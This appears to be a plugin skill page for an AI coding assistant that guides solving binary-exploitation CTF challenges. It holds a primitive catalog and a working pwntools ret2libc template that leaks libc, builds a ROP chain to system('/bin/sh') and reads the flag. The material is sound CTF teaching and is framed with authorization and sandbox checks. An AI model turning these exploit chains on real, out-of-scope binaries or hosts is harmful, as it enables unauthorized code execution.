/cybersec-toolkit:ctf-pwnfrom cybersec-toolkit
Guides solving binary exploitation / pwn CTF challenges with a decision tree and exploit primitive catalog. Covers buffer overflows, ROP, format strings, heap, and kernel pwn using pwntools.
Ships in cybersec-toolkit. Installing the plugin adds it to Claude Code.
What the skill costs in Claude's context, stage by stage
Name and description: Claude knows it exists.
SKILL.md joins the conversation and stays.
None: SKILL.md is the whole skill.
Pre-flight. Confirm the event rules allow AI assistance (
authorization-gate). Start withsuggest_for_ctforguided_assessment. Commands below are CLI notation: run them withrun_tool/run_pipelineusing registry names (list_tools), andrun_scriptonly for real logic. If policy blocks a command, tell the operator; do not fall back to the client shell. A tool that is not in the registry is a recommendation to the user (approval-gated install), not a bare command.
./install.sh --module pwn installs pwntools through pipx. run_script is disabled unless the operator sets CYBERSEC_MCP_ALLOW_SCRIPTS=1, and it carries no scope policy, so scope stays the operator's responsibility there.
For run_script(code, venv="pwntools"), the operator creates the venv (not governed by the installer; installs need user approval):
python3 -m venv "${CYBERSEC_MCP_VENVS_DIR:-$HOME/.ctf-venvs}/pwntools"
"${CYBERSEC_MCP_VENVS_DIR:-$HOME/.ctf-venvs}/pwntools/bin/pip" install pwntools z3-solver
run_tool("file", "./vuln")
run_tool("checksec", "--file=./vuln")
run_pipeline([{"tool": "strings", "args": "./vuln"}, {"tool": "head", "args": "-50"}])
run_pipeline([{"tool": "nm", "args": "./vuln"}, {"tool": "head", "args": "-30"}]) # symbols if not stripped
Note: RELRO, Canary, NX, PIE, arch (x86 / x86_64 / arm / mips), libc version.
If a libc is provided, identify it:
run_pipeline([{"tool": "strings", "args": "libc.so.6"}, {"tool": "grep", "args": "GNU C Library"}])
libc-database and libc-rip/libc.rip (web) — find offsets by leaked function addresses.
Static:
objdump -d -M intel ./vulncutter (radare2 GUI) for decompile; check list_tools before relying on themgets, strcpy, unbounded read, printf(user_input), integer overflow on size, double free, UAFDynamic:
gdb ./vuln (or gdb-multiarch) with pwndbg / gef if installed; debugging launches the sample, so do it only inside the sandbox/VM (docs/SANDBOX.md)cyclic 200 → run → crash → cyclic -l <RIP> to find offset| Class | Primitive | Tool |
|---|---|---|
| Stack BOF, no canary, NX off | shellcode | pwntools shellcraft.sh() |
| Stack BOF, NX on, ASLR off | ret2win / static ROP | ROPgadget --binary ./vuln |
| Stack BOF, NX+ASLR, libc leak | ret2libc | leak with PUTS@got, calc system, /bin/sh |
| Stack BOF, NX+ASLR, no leak | ret2plt + puts → leak | classic chain |
| Format string | %n write / %s leak | pwntools fmtstr_payload |
| Heap (glibc) | tcache, fastbin, unsorted bin | how2heap, pwndbg heap |
| Use-after-free | dangling pointer abuse | manual python |
| Kernel | KASLR leak, modprobe_path, etc | manual + qemu |
from pwn import *
elf = context.binary = ELF("./vuln")
libc = ELF("./libc.so.6")
p = process("./vuln") # remote("host", 1337) only when the host is in scope
# leak
p.sendlineafter(b"> ", b"A" * 40 + p64(elf.plt['puts']) + p64(elf.sym['main']))
leak = u64(p.recvline().strip().ljust(8, b"\x00"))
libc.address = leak - libc.sym['puts']
# pwn
rop = ROP(libc)
rop.raw(rop.find_gadget(['ret'])) # stack align
rop.system(next(libc.search(b"/bin/sh")))
p.sendline(b"A" * 40 + rop.chain())
p.sendline(b"cat flag*") # run_script is non-interactive: no p.interactive()
print(p.recvall(timeout=3))
pwndbg heap, glibc-all-in-one, how2heap (clone if not present)ROPgadget or roppersystem symbol — check nm firstUse the writeup-template skill. Include the final exploit script verbatim.
What SKILL.md sets; muted values are Claude Code's defaults
Three short reads, in order
binary-exploitation, ctf, pwntools, exploit-development, rop, buffer-overflow
npx claudepluginhub 26zl/cybersec-toolkit --plugin cybersec-toolkit880 skills in this plugin
/acquiring-disk-image-with-dd-and-dcflddCreate forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis./add-toolUse when adding a new cybersecurity tool to this installer. Walks through editing the right module file, adding to tools_config.json, running validators, and syncing MCP server data if needed. Triggers on phrases like "add tool", "add <toolname>", "register a new tool", "include X in the installer"./Other plugins' skills for the same job